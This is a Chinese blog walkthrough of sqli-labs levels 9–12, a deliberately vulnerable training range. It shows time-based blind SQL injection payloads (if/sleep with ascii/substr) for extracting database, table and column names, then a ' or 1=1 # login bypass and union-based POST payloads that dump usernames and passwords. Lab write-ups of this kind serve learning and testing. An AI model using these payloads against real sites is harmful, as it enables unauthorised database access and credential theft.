sqli-labs靶场9-12关(每日4关练习) 持续更新!!!

news/2024/11/16 18:47:47/

Less-9

我们先开始判断注入点,闭合方式,数据列数,联合注入这一套下来,发现页面保持不变,大家肯定会想到盲注,上一题是布尔盲注,那这道题会不会是布尔盲注呢???布尔盲注适合页面对于错误和正确结果有不同反应,很显然和上一关有区别,所以这一关不适合用布尔盲注,如果页面一直不变这个时候我们可以使用时间盲注。

时间盲注需要用到  sleep()函数和 if ()函数

if(表达式,sleep(5),1)意思就是表达式若为真,页面等待5s中显示(延迟),若为假,页面直接显示(不延迟)!!!

可以通过页面是否延迟回显,判断表达式是否正确,从而推断出库名,表名,列名!

1.先判断闭合方式,单引号闭合

?id=1' and if(1=1,sleep(5),1)--+

 

会发现页面上面三个点点转了5s后回显页面

2.判断库名长度

?id=1' and if(length(database())=8,sleep(5),1)--+

会发现页面上面三个点点转了5s后回显页面

3.判断库名

//security

?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1)--+   

?id=1' and if ((ascii(substr(database(),1,1))=101),sleep(5),1)--+   

?id=1' and if ((ascii(substr(database(),1,1))=99),sleep(5),1)--+   

?id=1' and if ((ascii(substr(database(),1,1))=117),sleep(5),1)--+   

?id=1' and if ((ascii(substr(database(),1,1))=114),sleep(5),1)--+   

?id=1' and if ((ascii(substr(database(),1,1))=105),sleep(5),1)--+   

?id=1' and if ((ascii(substr(database(),1,1))=116),sleep(5),1)--+  

?id=1' and if ((ascii(substr(database(),1,1))=121),sleep(5),1)--+   

 

4.判断表名

判断表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)--+

//emails

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)--+

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109),sleep(5),1)--+

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97),sleep(5),1)--+

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=105),sleep(5),1)--+

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108),sleep(5),1)--+

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115),sleep(5),1)--+

5.判断列名

//列名长度

?id=1' and if((select length(column_name) from information_schema.columns where table_name='emails' limit 0,1) = 2 ,sleep(5),1)--+

?id=1' and if((select length(column_name) from information_schema.columns where table_name='emails' limit 1,1) = 8 ,sleep(5),1)--+

//id

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) =105),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)) =100),sleep(5),1)--+

//email_id

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) =101),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),2,1)) =109),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),3,1)) =97),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),4,1)) =105),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),5,1)) =108),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),6,1)) =95),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),7,1)) =105),sleep(5),1)--+

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),8,1)) =100),sleep(5),1)--+

6.获取字段

//获取第一个字段数据长度

?id=1' and if((select length(email_id) from emails limit 0,1) = 16 ,sleep(5),1)--+ 

//Dumb@dhahhan.com

?id=1' and if((ascii(substr((select email_id from emails limit 0,1),1,1)) = 68),sleep(5),1) --+

......

Less-10

第十关和第九关一样只需要将单引号换成双引号。这里不再演示

Less-11

打开后发现,和前10道题有很大的区别,这是一个表单,那应该就是POST 传参题了,遇到这类题不要慌,和一次的做法一样

先判断闭合方式,是单引号

再尝试一下万能密码

’or 1=1 #      这里注意一下,注释符--+不行,那我们用#

or 的意思就是或者,前后有一个为真即可,和and是有区别的(and是前后都为真才执行),所以后面的1=1恒为真,所以是万能密码

将’or 1=1 #填入到 Username中,看看是否能登陆成功

 

登陆成功

接下来就开始判断数据列数,数据库名,表名,列名,字段。。。。

库名

' union select 1,database() #

表名

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)#

 

列名

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)#

 

字段数据

' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #

 

成功!!!

Less-12

打开发现和11题一样,先判断闭合方式,输入1' 没有回显,输入1",报错回显

发现后面还有个括号,说明闭合方式是   ")

之后就和第11关步骤一样啦

接下来就开始判断数据列数,数据库名,表名,列名,字段。。。。

//库名

") union select 1,database() #

//表名

") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)#

//列名

")union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)#

//字段

")union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #

成功!!! 

 


http://www.ppmy.cn/news/1547516.html

相关文章

基于lighthouse搭建私有网盘Cloudreve【开源应用实践】

基于lighthouse搭建私有网盘Cloudreve【超高性价比】 今天给大家分享一款私人网盘神器,既能存放你的文件文档,也能替你保存那不可告人的秘密~ 香菇今天将手把手教给大家如何在腾讯云轻量应用服务器上搭建个人专属网盘 1. 既爱又恨的网盘存储 很多小伙伴…

【EasyExcel】复杂导出操作-自定义颜色样式等(版本3.1.x)

文章目录 前言一、自定义拦截器二、自定义操作1.自定义颜色2.合并单元格 三、复杂操作示例1.实体(使用了注解式样式):2.自定义拦截器3.代码4.最终效果 前言 本文简单介绍阿里的EasyExcel的复杂导出操作,包括自定义样式,根据数据合并单元格等。…

ubuntu22.04与ubuntu24.10使用Remmina远程桌面共享

1. ubuntu22.04启用远程桌面共享 点击Remote Desktop,按下图设置 成功启用 2.ubuntu24.10远程桌面启用 选择远程桌面选项 启用远程桌面共享与远程控制 启用远程登陆

【Python · PyTorch】卷积神经网络(基础概念)

【Python PyTorch】卷积神经网络 CNN(基础概念) 0. 生物学相似性1. 概念1.1 定义1.2 优势1.2.1 权重共享1.2.2 局部连接1.2.3 层次结构 1.3 结构1.4 数据预处理1.4.1 标签编码① One-Hot编码 / 独热编码② Word Embedding / 词嵌入 1.4.2 归一化① Min-…

3D电子商务是什么?如何利用3D技术提升销售转化?

在数字化浪潮席卷全球的今天,网上购物已成为消费者日常生活中不可或缺的一部分。然而,尽管其便捷性无可比拟,但传统电商模式中的“看不见、摸不着”问题始终困扰着消费者与商家。商品是否符合期望、尺寸是否合适、颜色是否真实……这些不确定…

【拥抱AI】对比embedding模型gte-Qwen2-7B-instruct和bge-m3:latest(二)

为了更好地理解 gte-Qwen2-7B-instruct 和 bge-m3:latest 在不同任务中的表现,我们可以从以下几个方面进行详细对比: 1. 文本生成 gte-Qwen2-7B-instruct 优势: 指令跟随能力:该模型经过大量指令-响应对的训练,能够…

go反射深入学习

Go 语言中的反射详解 反射是 Go 语言中的一个强大功能,可以在运行时动态获取和操作类型和值。了解反射有助于构建更灵活和通用的代码。本篇博客主要介绍 Go 语言反射的三大基本定律及其相关用法。 反射第一定律:反射可以将 interface 类型变量转换成反射…

阿里云SSL证书每三个月过期续期方法 —— 使用httpsok工具轻松自动续期

阿里云作为全球领先的云计算服务提供商,提供了SSL证书服务,可以为网站启用HTTPS加密,确保数据传输的安全。然而,许多人在使用阿里云SSL证书时可能会遇到一个问题:阿里云免费SSL证书每三个月就会过期,需要及…